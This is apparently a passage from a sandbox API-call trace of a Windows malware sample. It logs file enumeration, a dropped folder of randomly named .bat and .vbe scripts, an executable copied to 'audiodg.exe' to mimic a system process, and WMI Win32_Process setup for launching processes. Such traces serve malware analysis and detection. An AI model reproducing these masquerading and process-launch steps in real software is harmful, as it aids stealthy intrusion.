ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0068.866] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0068.866] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0068.866] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0068.867] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0068.867] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0068.867] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0068.867] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0068.867] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0068.867] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0068.867] FindClose (in: hFindFile=0x11f6370 | out: hFindFile=0x11f6370) returned 1 [0068.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0068.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0068.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0068.868] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost", lpFilePart=0x0) returned 0xf [0068.868] FindFirstFileW (in: lpFileName="C:\\hyperWinhost\\*" (normalized: "c:\\hyperwinhost\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x41aa3160, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x41aa3160, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f6370 [0068.868] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x41aa3160, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x41aa3160, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.868] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a0abe0, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x41a0abe0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x9fda0f2c, ftLastWriteTime.dwHighDateTime=0x1d9eaea, nFileSizeHigh=0x0, nFileSizeLow=0xd0c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="blockcontainerProvider.exe", cAlternateFileName="BLOCKC~1.EXE")) returned 1 [0068.868] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419be920, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x419be920, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x9815bfe2, ftLastWriteTime.dwHighDateTime=0x1d9eaea, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvmT9BsJAfBh.bat", cAlternateFileName="DVMT9B~1.BAT")) returned 1 [0068.868] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41aa3160, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x41aa3160, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x98494851, ftLastWriteTime.dwHighDateTime=0x1d9eaea, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="pd7Yx3rYmMqL9vJy.vbe", cAlternateFileName="PD7YX3~1.VBE")) returned 1 [0068.868] FindNextFileW (in: hFindFile=0x11f6370, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41aa3160, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x41aa3160, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x98494851, ftLastWriteTime.dwHighDateTime=0x1d9eaea, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="pd7Yx3rYmMqL9vJy.vbe", cAlternateFileName="PD7YX3~1.VBE")) returned 0 [0068.868] FindClose (in: hFindFile=0x11f6370 | out: hFindFile=0x11f6370) returned 1 [0068.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0068.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0068.871] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0068.871] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\audiodg.exe", lpFilePart=0x0) returned 0x1b [0068.871] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe"), bFailIfExists=0) returned 1 [0069.205] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\42af1c969fbb7b", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\42af1c969fbb7b", lpFilePart=0x0) returned 0x1e [0069.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0069.205] CreateFileW (lpFileName="C:\\hyperWinhost\\42af1c969fbb7b" (normalized: "c:\\hyperwinhost\\42af1c969fbb7b"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x368 [0069.206] GetFileType (hFile=0x368) returned 0x1 [0069.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0069.206] GetFileType (hFile=0x368) returned 0x1 [0069.206] WriteFile (in: hFile=0x368, lpBuffer=0x2979f68*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x2979f68*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x155, lpOverlapped=0x0) returned 1 [0069.207] CloseHandle (hObject=0x368) returned 1 [0069.208] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0069.209] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0069.209] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0069.209] IUnknown:Release (This=0x111f638) returned 0x1 [0069.211] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf11300) returned 0x0 [0069.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11300, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0069.211] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11300, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119b420) returned 0x0 [0069.211] WbemDefPath:IUnknown:Release (This=0x1bf11300) returned 0x0 [0069.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119b420) returned 0x0 [0069.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0069.212] WbemDefPath:IUnknown:AddRef (This=0x119b420) returned 0x3 [0069.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0069.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0069.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf11200) returned 0x0 [0069.212] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf11200, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.212] WbemDefPath:IUnknown:Release (This=0x1bf11200) returned 0x3 [0069.212] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0069.212] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0069.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0069.212] WbemDefPath:IUnknown:Release (This=0x119b420) returned 0x2 [0069.212] WbemDefPath:IUnknown:Release (This=0x119b420) returned 0x1 [0069.212] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0069.212] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0069.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b420, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119b420) returned 0x0 [0069.212] WbemDefPath:IUnknown:AddRef (This=0x119b420) returned 0x3 [0069.212] WbemDefPath:IUnknown:Release (This=0x119b420) returned 0x2 [0069.213] WbemDefPath:IWbemPath:SetText (This=0x119b420, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0069.213] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b420, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0069.213] WbemDefPath:IWbemPath:GetText (in: This=0x119b420, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0069.213] WbemDefPath:IWbemPath:GetText (in: This=0x119b420, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0069.213] WbemDefPath:IWbemPath:GetInfo (in: This=0x119b420, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0069.213] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b420, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0069.213] WbemDefPath:IWbemPath:GetInfo (in: This=0x119b420, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0069.213] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0069.213] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0069.213] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0069.213] IUnknown:Release (This=0x111f638) returned 0x1 [0069.215] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf11280) returned 0x0 [0069.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11280, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0069.215] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11280, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119b360) returned 0x0 [0069.215] WbemDefPath:IUnknown:Release (This=0x1bf11280) returned 0x0 [0069.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119b360) returned 0x0 [0069.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0069.215] WbemDefPath:IUnknown:AddRef (This=0x119b360) returned 0x3 [0069.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0069.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0069.215] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf111a0) returned 0x0 [0069.216] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf111a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0069.216] WbemDefPath:IUnknown:Release (This=0x1bf111a0) returned 0x3 [0069.216] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0069.216] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0069.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0069.216] WbemDefPath:IUnknown:Release (This=0x119b360) returned 0x2 [0069.216] WbemDefPath:IUnknown:Release (This=0x119b360) returned 0x1 [0069.216] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0069.216] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0069.216] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b360, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119b360) returned 0x0 [0069.216] WbemDefPath:IUnknown:AddRef (This=0x119b360) returned 0x3 [0069.216] WbemDefPath:IUnknown:Release (This=0x119b360) returned 0x2 [0069.216] WbemDefPath:IWbemPath:SetText (This=0x119b360, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0069.216] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b360, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0069.216] WbemDefPath:IWbemPath:GetText (in: This=0x119b360, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0069.216] WbemDefPath:IWbemPath:GetText (in: This=0x119b360, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0069.216] WbemDefPath:IWbemPath:GetInfo (in: This=0x119b360, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0069.216] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b360, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0069.216] WbemDefPath:IWbemPath:GetInfo (in: This=0x119b360, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0069.216] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b360, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0069.216] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0069.216] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0069.216] 